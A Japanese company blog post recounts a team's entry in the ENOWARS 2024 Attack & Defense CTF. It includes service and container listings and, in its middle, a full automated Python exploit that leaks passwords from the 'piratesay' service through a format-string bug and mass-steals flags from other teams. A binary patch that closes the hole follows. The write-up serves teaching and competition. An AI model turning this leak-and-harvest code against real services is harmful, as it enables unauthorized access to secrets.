はじめに
プロフェッショナルサービス部の鈴木です。今回は2024年7月に開催されたENOWARSというAttack&Defense形式のCTFにTeam Enuの一員として参加してきたので、Attack&Defense競技の雰囲気を紹介しようと思います。
Attack & Defense とは
Attack & Defense はCTFの決勝で採用されることが多い競技形式で、運営から各チームにサーバが与えられます。サーバ上では脆弱性のあるサービスが稼働していて、競技者はその脆弱性を発見して、ほかのチームのサーバに攻撃したり、自分のチームのサーバの脆弱性をふさぐことが求められます。大体の場合、得点はどれだけ長い時間攻撃を成功させたか(アタックポイント)とどれだけ長い時間他チームから攻撃されたか(ディフェンスポイント)によって決まります。攻撃面と防御面の両方から評価されますが、どちらもサービスのバグをどれだけ早く発見できるかがカギになります。
Attack & Defense は運営チームの負担がJeopardy形式よりも大きく、大きいCTFの決勝以外ではあまり開催されませんが、今回珍しくオンラインで自由に参加できるCTFということで参加してみました。
競技環境について
今回はオンラインでの開催なのでVMとVPNを使って競技環境が構築されていました。競技用のサーバのインスタンスも運営側が用意してくれていて、VPNに接続するだけで競技開始できるようになっていました。(オンライン開催で過去にあったケースだと、VMイメージを動かすマシンをこちら側で用意しないといけないことがありました。)
以下の図はENOWARSのルール説明に書かれていた環境の概要図です。
(network.png (742×372) (enowars.com))
各チームごとに一台ずつVMが払い出されるようになっていて、自分のチームのサーバにはSSHでログインできます。ほかのチームのサーバにはサービスとして解放されているポートにだけアクセスできます。
スコアボードは下図のようになっていて、1分おきに各チームの得点状況やサービスの状態が表示されるようになっていました。
各サービスごとに攻撃ポイント、防衛ポイント、稼働ポイントが付くようになっていて、攻撃や防御だけでなく、正常にサービスを稼働させ続けることも必要になっています。
実際の競技中の様子
競技が始まったらまずは自分たちのサーバにsshで接続して、netstatやdockerコマンドを使ってどのポートで問題のサービスが動作しているのかを調べました。
tcp 0 0 0.0.0.0:9145 0.0.0.0:* LISTEN 0 44301 6632/docker-proxy
tcp 0 0 0.0.0.0:9696 0.0.0.0:* LISTEN 0 19918 2165/docker-proxy
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 0 893786 216046/docker-proxy
tcp 0 0 0.0.0.0:6061 0.0.0.0:* LISTEN 0 16324 3160/docker-proxy
tcp 0 0 0.0.0.0:6060 0.0.0.0:* LISTEN 0 24120 3130/docker-proxy
tcp 0 0 0.0.0.0:6222 0.0.0.0:* LISTEN 0 30545 3849/docker-proxy
tcp 0 0 0.0.0.0:6969 0.0.0.0:* LISTEN 0 30661 4782/docker-proxy
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 0 23481 3976/docker-proxy
tcp 0 0 0.0.0.0:8008 0.0.0.0:* LISTEN 0 27152 2002/docker-proxy
tcp 0 0 0.0.0.0:8005 0.0.0.0:* LISTEN 0 30142 1779/docker-proxy
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 22747 970/sshd: /usr/sbin
tcp 0 0 0.0.0.0:1080 0.0.0.0:* LISTEN 0 33398 6582/docker-proxy
tcp 0 0 0.0.0.0:2027 0.0.0.0:* LISTEN 0 956044 233532/docker-proxy
root@team87:~# docker container ls -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
0c2da5dc03c0 wonki-wonki "cargo +nightly run …" 39 minutes ago Up 39 minutes 0.0.0.0:2027->2027/tcp, :::2027->2027/tcp wonki-wonki-1
546ecad3dcc8 piratesay_service-piratesay "/entrypoint.sh" About an hour ago Up About an hour 0.0.0.0:4444->4444/tcp, :::4444->4444/tcp piratesay
2f5d6eaa2091 onlyflags-web "docker-php-entrypoi…" 15 hours ago Up 15 hours 0.0.0.0:9145->80/tcp, :::9145->80/tcp onlyflags-web-1
432b1d3eeaae onlyflags-proxy "bash /app/entrypoin…" 15 hours ago Up 15 hours 0.0.0.0:1080->1080/tcp, :::1080->1080/tcp onlyflags-proxy-1
9a525420df00 onlyflags-premium-forum "forum" 15 hours ago Up 15 hours 1337/tcp onlyflags-premium-forum-1
1988c378cf9f onlyflags-open-forum "forum" 15 hours ago Up 15 hours 1337/tcp onlyflags-open-forum-1
6bb459588876 mariadb:latest "docker-entrypoint.s…" 15 hours ago Up 15 hours (healthy) 3306/tcp onlyflags-db-1
3935de3dcbda onlyflags-echo "echo" 15 hours ago Up 15 hours onlyflags-echo-1
9249b40186b2 nginx:alpine "/docker-entrypoint.…" 15 hours ago Up 15 hours 80/tcp, 0.0.0.0:6969->6969/tcp, :::6969->6969/tcp replme-nginx
2ba8095cfe4a replme-backend "./backend/out/main …" 15 hours ago Up 15 hours 6969/tcp replme-backend
93f1a7b5a111 replme-postgres "docker-entrypoint-w…" 15 hours ago Up 15 hours 5432/tcp replme-postgres
a0166912afb1 docker:dind "dockerd-entrypoint.…" 15 hours ago Up 15 hours 2375-2376/tcp replme-dind
12a30981c063 replme-frontend "npm run --prefix fr…" 15 hours ago Up 15 hours 3000/tcp replme-frontend
f56a29643df9 nginx:alpine "/docker-entrypoint.…" 15 hours ago Up 15 hours 80/tcp, 0.0.0.0:6060-6061->6060-6061/tcp, :::6060-6061->6060-6061/tcp notify24-nginx-1
dbe5ff2ac217 notify24-frontend "docker-entrypoint.s…" 15 hours ago Up 15 hours 3000/tcp notify24-frontend-1
129cb5920eea notify24-backend "/bin/sh -c 'java -j…" 15 hours ago Up 15 hours 6060/tcp notify24-backend-1
f1513f14ee68 mysql:8.0 "docker-entrypoint.s…" 15 hours ago Up 15 hours 3306/tcp, 33060/tcp notify24-mysql-1
c991cb9e0933 gareck/scamfinder:latest "apachectl -D FOREGR…" 15 hours ago Up 15 hours 0.0.0.0:6222->80/tcp, :::6222->80/tcp service_scamfinder-scamfinder-1
4801ff966880 imagidate-web "/bin/sh -c /root/ru…" 15 hours ago Up 15 hours 0.0.0.0:8080->80/tcp, :::8080->80/tcp wcyd
c03bd9ed8574 imagidate-api "/bin/sh -c /root/ru…" 15 hours ago Up 15 hours 5000/tcp api_server
bf09c8ffe971 mysql:8.0 "docker-entrypoint.s…" 15 hours ago Up 15 hours 3306/tcp, 33060/tcp db_server
e9802a80aefd service_scamfinder-api "gunicorn -b 0.0.0.0…" 15 hours ago Up 15 hours service_scamfinder-api-1
4534c58baeb9 mysql:8.0 "docker-entrypoint.s…" 15 hours ago Up 15 hours 3306/tcp, 33060/tcp service_scamfinder-db-1
4b8b001f198e postgres "docker-entrypoint.s…" 15 hours ago Up 15 hours 5432/tcp wonki-wonki-postgres-1
096786e0c100 whatscam-whatsscam "/entrypoint.sh" 15 hours ago Up 15 hours 0.0.0.0:9696->9696/tcp, :::9696->9696/tcp whatscam-whatsscam-1
fe19fca89d67 sceam-enoft "/entrypoint.sh" 15 hours ago Up 15 hours 0.0.0.0:8008->8008/tcp, :::8008->8008/tcp sceam-enoft-1
8f2b53b69a6d ghcr.io/enoflag/enoarkime:5.3.0 "/bin/sh -c /EnoArki…" 15 hours ago Up 15 hours 0.0.0.0:8005->8005/tcp, :::8005->8005/tcp enomoloch-moloch-1
012efed37f2f elasticsearch:7.14.2 "/bin/tini -- /usr/l…" 15 hours ago Up 15 hours
サービスは全部で9つあって、web、暗号、バイナリなど一通りのジャンルの問題がそろっている印象でした。
私はバイナリ系の問題をよく解いているので、piratesayというバイナリエクスプロイトの問題を見ることにしました。
(競技後に公開されたpiratesayの公式リポジトリはこちら: enowars/enowars8-service-piratesay (github.com))
netcatで対象のポートにアクセスするとバナーが表示されて、シェルのようなプロンプトが表示されます。
$ nc 10.1.87.1 4444
Copyright (c) 2024 Pirate Say
Connection established with server!
(Pirate Say v1.0.0, up since 2024-07-20 10:48:25)
:::. .:::
:=@@@+ +@@@=:
:=%@@@@+ -=..=- +@@@@%=:
.+#@@@@@@+ +#:.#* +@@@@@@%+.
=#@@@@@@@@#=. ++ .=#@@@@@@@@#+
.:#@@@@@%##@@@=:-=:=@@@##%@@@@@#:.
=@@@@@@#- .############. :#@@@@@@=
:=*@@@@@@::+++++: .+++++::%@@@@@#=:
.+#@@@@@@@@%*==+==. .==+==*%@@@@@@@@%+.
.*##@@@@@@@@@@@*-. .-*####*-. .-#@@@@@@@@@@@##*.
.-%%%@@@@@@@@@@@@@@@@#=*@@@@@@@@#=#@@@@@@@@@@@@@@@@%%%-.
.#%@@@@@@@@@@@@@@@@+==*@@@*===========+@@@@@@@@@@@@@@@@%#.
:#@@@@@@@@@@@@@+: :+%#*. :+@@@@@@@@@@@@@#:
.********%@@@*- =*%*-:::::::::-*%@@%********.
:+%% -======. =++@@@@@@@@@#=%%+:
#% %@@@@@@- %@@@@@@@*--%*
#% %@@@@@@- .@@@@@@@@= ##
#%. :------. ++ --*@@@@@#= #*
.-%- :%@: .......=%-.
:@#*. %*+%. .+#@:
.*@%%%#. : : #%%%@*.
.%@@@.: : :: : :.@@@@.
%@++%*:#:##:#:*%+=@%.
%@. *#@#*%%*#@%*. %%.
%@. .=.=##=.=: .@@.
-*#*-. .... .:+**=
.:*@#=. .=#@#:.
:=#@#+**+#@#=:
.--------.
____ __ ____ __ ____ ____ ____ __ _ _
( _ \( )( _ \ / _\(_ _)( __) / ___) / _\ ( \/ )
) __/ )( ) // \ )( ) _) \___ \/ \ ) /
(__) (__)(__\_)\_/\_/(__) (____) (____/\_/\_/(__/
Welcome to Pirate Say, your go-to place for stating your piratical achievements!
Your friends think they can out-scam you? Show them who's the king of the seven seas!
FerociousMainmast:/$
問題オリジナルのシェルになっていて、専用のコマンドだけが使えます。ヘルプを見ると以下のようになっていました。
ForgottenGunner:/$ codex
The Official Pirate Codex:
scout [destination] - Search current or desired destination for items
sail [destination] - Set sail for a new destination
bury - bury treasure for others to find at your destination
loot [item] - Grab the contents of an item at your destination
identity - manage your pirate identity
codex - Display this pirate codex
dock - Dock your ship and leave Pirate Say
いろいろ動かしてみた結果、だいたい以下のようなコマンドになっていることが分かりました。
- scout: lsと同じ
- sail: cdと同じ
- loot: ファイルの中身を表示する
- bury: ファイルを作る
運営チームから攻撃対象のファイルの情報が周知されていて、それによるとほかのチームのサーバにアクセスして、"*.treasure"という名前のファイルの中身を見ることがゴールのようです。
試しに自分のサーバに配置されたtreasureファイルをSSHからcatコマンドで表示してみました。
treasureファイルは中にフラグが書かれていて、ファイルの末尾にパスワードらしき文字列が書かれていました。
問題バイナリを解析してみたところ、サービスの機能を使ってtreasureファイルを表示するにはこのパスワードを答えられないといけないようです。このtreasureファイルは運営チームから定期的に配られるようになっていて、パスワードやフラグはファイルごとに異なる文字列になっていました。
ここからしばらく問題バイナリを解析していましたが、行き詰ってスコアボードを見ていると攻撃を成功させたチームが出てきました。
そこでいったん自力での解析を中断して、攻撃してきているパケットからヒントを探そうとしました。通常、CTFでは他のチームからヒントをもらうことはできませんが、Attack&Defenseでは先に攻撃を成功させたチームのパケットが自分のチームのサーバに飛んできているので、tcpdumpなどでパケットキャプチャを取れば、どんなデータを送ればフラグを取れるのかわかることがあります。今回はサーバにarkimeというネットワーク解析ツールが入っていたので、容易にパケット解析ができました。
通信を解析していると気になるセッションが見つかりました。
図の左側がクライアントの送ったデータで、右側がサーバの送ったデータになっています。左側の3行目で怪しいフォーマット文字列を送っていて、それに対するサーバの応答で長い数字列が出ていて、フォーマット文字列バグを突いた攻撃をされていることを示唆しています。
さらにその直後にパスワードらしき文字列を送っていて、treasureファイルの中身を閲覧されています。
つまり、このサービスにはフォーマット文字列バグがあって、treasureファイルのパスワードが漏洩しているということが判明しました。
バグが分かったところで、まずは攻撃用のコードを書き始めました。Attack & Defenseでは新しいフラグファイルが定期的に配られるので、攻撃は自動化して脆弱性が放置されたサービスから何度もフラグを取るようにします。
出来上がったコードを以下に示します。基本的な構造としては、ターゲットのIPとファイル名が公開されているのでそれを取ってきて、ターゲットごとにバグを使ってフラグを取り、フラグサーバに送るという作りになっています。並列化の辺りは不完全な感じもしますが、とりあえずは自動でフラグを取れるようになりました。
#!/usr/bin/env python3
from pwn import *
from subprocess import Popen, PIPE
from time import sleep
import sys
import argparse
import json
import requests
import time
import timeout_decorator
def list_target():
x = requests.get('https://8.enowars.com/scoreboard/attack.json')
data = json.loads(x.text)
flag_dict = dict()
treasure = []
for ip, d in data['services']['piratesay'].items():
for round_num, targets in d.items():
for flag_num, flags in targets.items():
if flag_num == '1':
continue # skip .private for now
assert len(flags) == 1
flag = flags[0]
treasure.append((ip, flag))
return treasure
def u64x(data):
return u64(data.ljust(8, b'\0'))
def p64x(*nums):
data = b''
for num in nums:
data += p64(num)
return data
def connect_and_steal_treasure(ip, directory, file):
io = remote(ip, 4444)
io.sendlineafter(b'$ ', f'sail {directory}'.encode())
io.sendlineafter(b'$ ', f'loot {file}'.encode())
response = io.recvuntil(b'\n')[:-1]
if response.endswith(b'found'):
io.sendlineafter(b'$ ', b'dock')
io.close()
return None
io.sendlineafter(b'words: ', b'%26$lo|%27$loEND')
data = io.recvuntil(b'\n')
if b'END' not in data:
io.close()
return None
leak = data.split(b'END')[0]
leak1, leak2 = leak.split(b'|')
try:
upper = int(leak1, 8)
lower = int(leak2, 8)
except ValueError:
io.sendlineafter(b'$ ', b'dock')
io.close()
return None
password = ''
for _ in range(8):
password += chr(upper & 0xff)
upper = upper >> 8
for _ in range(8):
password += chr(lower & 0xff)
lower = lower >> 8
print(password)
io.sendlineafter(b'$ ', f'loot {file}'.encode())
io.sendlineafter(b'words: ', password.encode())
io.recvuntil(b'Scammer ID: ')
flag = io.recvuntil(b'\n')[:-1]
print(flag)
io.sendlineafter(b'$ ', b'dock')
io.close()
return flag
def is_likely_flag(flag):
import re
return re.match(r'ENO[A-Za-z0-9+\/=]{48}', flag)
def work(i, ip, path, flags):
directory, file = path.split('/')
print((ip, directory, file))
try:
flag = connect_and_steal_treasure(ip, directory, file)
except EOFError:
return
flags[i] = flag
if flag and is_likely_flag(flag.decode()):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('10.0.13.37', 1337))
print(sock.recv(1000))
sock.send(flag + b'\n')
print(sock.recv(1000))
sock.close()
def main():
from multiprocessing.pool import ThreadPool as Pool
pool = Pool(400)
targets = list_target()
print(f'len(targets) = {len(targets)}')
flags = ['' for _ in targets]
for i, target_info in enumerate(targets):
ip, path = target_info
pool.apply_async(work, (i, ip, path, flags))
pool.close()
pool.join()
if __name__ == '__main__':
while True:
main()
いったん攻撃用のコードを書き終えたところで、次は自分たちのサーバの防衛を考えました。Attack & Defenseではどのチームのフラグが取られたかが集計されていて、自分のチームのサービスからフラグを取られるたびに減点されていくようになっています。
自分たちのサーバを守るにはサービスを書き換えて脆弱性をふさぐ必要があります。しかし、運営チームから頻繁にサービスの機能を確認する通信が飛んできているため、サービスの機能を変えてしまうような強引な修正をすることはできません。つまり、バグだけをピンポイントで修正する必要があります。
バグがフォーマット文字列に関係する部分なので、printfなどを使っている部分を重点的に解析して、最終的に以下の部分にバグがあることを突き止めました。
このサービスではsnprintfに相当する機能を実装していて、ハイライトした部分でそのsnprintfを2回呼んでいます。
1回目のsnprintfには問題がありませんが、2回目のsnprintfは1回目の結果をそのまま引数のtfでフォーマット文字列の部分に使ってしまっているので、1回目の結果にフォーマット文字列が残っていた場合に2回目のsnprintfでフォーマット文字列バグが発生します。
バグの詳細な位置が分かったので、修正を行います。このサービスではソースコードがなく、コンパイル済みのバイナリファイルしか用意されていないため、バイナリエディタなどでバイナリファイルを直接編集する必要があります。
まずは逆アセンブラで該当のバグの部分を表示します。下図のハイライトしたアドレスが2回目のsnprintf呼び出しをしている部分です。
バイナリエディタで編集する際に部分的にサイズが変わってしまうと、いろいろな部分の参照がずれて大変なので、サイズが変わらないような修正方法を考えます。
この部分でやっていることは単なる文字列のコピーなので、snprintfの代わりにstrncpyを使うことにしました。必要な操作は以下の2つです。
- 引数の順番を変える
- call命令のジャンプ先を変える
まず引数の順番を変える部分について、snprintfは引数がdst, size, srcという順番に対して、strncpyはdst, src, sizeという順番なので、第2引数と第3引数を入れ替える必要があります。関数の引数はレジスタが管理していて、下図のように書き換えれば第2引数と第3引数を入れ替えられます。
次にcall命令のジャンプ先を変えます。変更前のジャンプ先はmy_snprintfで、アドレスは0x45a9でした。変更後のジャンプ先はstrncpyで、アドレスは0x36f0だったので、ジャンプ先が-0xeb9だけずれた値になればよいです。call命令は機械語では"e8"のあとにcall命令の直後からジャンプ先までの相対距離が入っています。もともと入っていた値が0xffffdd37なので、0xffffdd37-0xeb9=0xffffce7eより、call命令の機械語の"e8"のあとに "7e ce ff ff" となるように書き換えればよいはずです。
バイナリエディタで書き換えた後の状態を下図に示します。引数の順序とcall命令のジャンプ先が意図した通りに書き換わっていることが分かります。
あとは修正したバイナリを本番環境で動かせば修正完了です。Attack & Defenseでは余計なことをするとすぐにサービスが落ちるので、修正したバイナリを動かす瞬間はドキドキしましたが、無事に動作してくれました。
バグ修正も効果を発揮していて、最終スコアでは周りのチームより防衛ポイントが数百点高くなっていました。
最終スコアを以下に貼っておきます。競技時間が日本時間で午後9時から翌日の午前6時というつらい時間帯だったこと、Team Enuの参加者が3人しかいなかったことを考えれば、結構頑張ったのではないでしょうか。
おわりに
今回はオンラインで開催されたAttack & DefenseのCTFについて紹介しました。振り返ってみると、もっとうまくやれたと思う部分もいくつかあり、私個人としては悔しい思いもありますが、Attack & DefenseのCTFの雰囲気が伝わっていれば幸いです。